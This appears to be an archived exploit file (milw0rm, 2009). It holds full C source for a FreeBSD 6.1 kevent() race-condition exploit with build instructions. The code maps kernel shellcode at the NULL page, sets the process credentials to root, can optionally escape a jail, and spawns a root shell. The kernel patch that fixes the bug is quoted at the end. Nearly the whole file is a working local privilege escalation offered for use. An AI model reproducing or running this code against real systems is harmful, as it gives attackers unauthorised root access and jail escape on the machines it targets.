1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156 | /*
FreeBSD <= 6.1 suffers from classical check/use race condition on SMP
systems in kevent() syscall, leading to kernel mode NULL pointer
dereference. It can be triggered by spawning two threads:
1st thread looping on open() and close() syscalls, and the 2nd thread
looping on kevent(), trying to add possibly invalid filedescriptor.
The bug was fixed in 6.1-STABLE, just before release of 6.2-RELEASE, but
was not recognized as security vulnerability.
The following code exploits this vulnerability to run root shell.
*/
/* 22.08.2009, babcia padlina
* FreeBSD kevent() race condition exploit
*
* works only on multiprocessor systems
* gcc -o padlina padlina.c -lpthread
* -DPRISON_BREAK if you want to exit from jail
*
* with thanks to Pawel Pisarczyk for in-depth ia-32 architecture discussion
*/
#define _KERNEL
#include <sys/types.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/event.h>
#include <sys/timespec.h>
#include <pthread.h>
#include <fcntl.h>
#include <string.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/param.h>
#include <sys/linker.h>
#include <sys/proc.h>
int fd, kq;
struct kevent kev, ke;
struct timespec timeout;
volatile int gotroot = 0;
static void kernel_code(void) {
struct thread *thread;
gotroot = 1;
asm(
"movl %%fs:0, %0"
: "=r"(thread)
);
thread->td_proc->p_ucred->cr_uid = 0;
#ifdef PRISON_BREAK
thread->td_proc->p_ucred->cr_prison = NULL;
#endif
return;
}
static void code_end(void) {
return;
}
void do_thread(void) {
usleep(100);
while (!gotroot) {
memset(&kev, 0, sizeof(kev));
EV_SET(&kev, fd, EVFILT_VNODE, EV_ADD, 0, 0, NULL);
if (kevent(kq, &kev, 1, &ke, 1, &timeout) < 0)
perror("kevent");
}
return;
}
void do_thread2(void) {
while(!gotroot) {
if ((fd = open("/tmp/.padlina", O_RDWR | O_CREAT, 0600)) < 0)
perror("open");
close(fd);
}
return;
}
int main(void) {
int i;
pthread_t pth, pth2;
if (mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_ANON | MAP_FIXED, -1, 0) < 0) {
perror("mmap");
return -1;
}
memcpy(0, &kernel_code, &code_end - &kernel_code);
if ((kq = kqueue()) < 0) {
perror("kqueue");
return -1;
}
pthread_create(&pth, NULL, (void *)do_thread, NULL);
pthread_create(&pth2, NULL, (void *)do_thread2, NULL);
timeout.tv_sec = 0;
timeout.tv_nsec = 1;
printf("waiting for root...\n");
i = 0;
while (!gotroot && i++ < 10000)
usleep(100);
setuid(0);
if (getuid()) {
printf("failed - system patched or not MP\n");
return -1;
}
printf("hwdp!\n");
execl("/bin/sh", "sh", NULL);
return 0;
}
/*
Patch for this vulnerability, as in CVS:
--- src/sys/kern/kern_descrip.c 2006/09/04 10:30:09 1.279.2.8
+++ src/sys/kern/kern_descrip.c 2006/09/29 18:30:48 1.279.2.9
@@ -35,7 +35,7 @@
*/
#include <sys/cdefs.h>
-__FBSDID("$FreeBSD: /usr/local/www/cvsroot/FreeBSD/src/sys/kern/kern_descrip.c,v 1.279.2.8 2006/09/04 10:30:09 pjd Exp $");
+__FBSDID("$FreeBSD: /usr/local/www/cvsroot/FreeBSD/src/sys/kern/kern_descrip.c,v 1.279.2.9 2006/09/29 18:30:48 jmg Exp $");
#include "opt_compat.h"
#include "opt_ddb.h"
@@ -2602,7 +2602,7 @@ static int
badfo_kqfilter(struct file *fp, struct knote *kn)
{
- return (0);
+ return (EBADF);
}
static int
*/
// milw0rm.com [2009-08-24]
|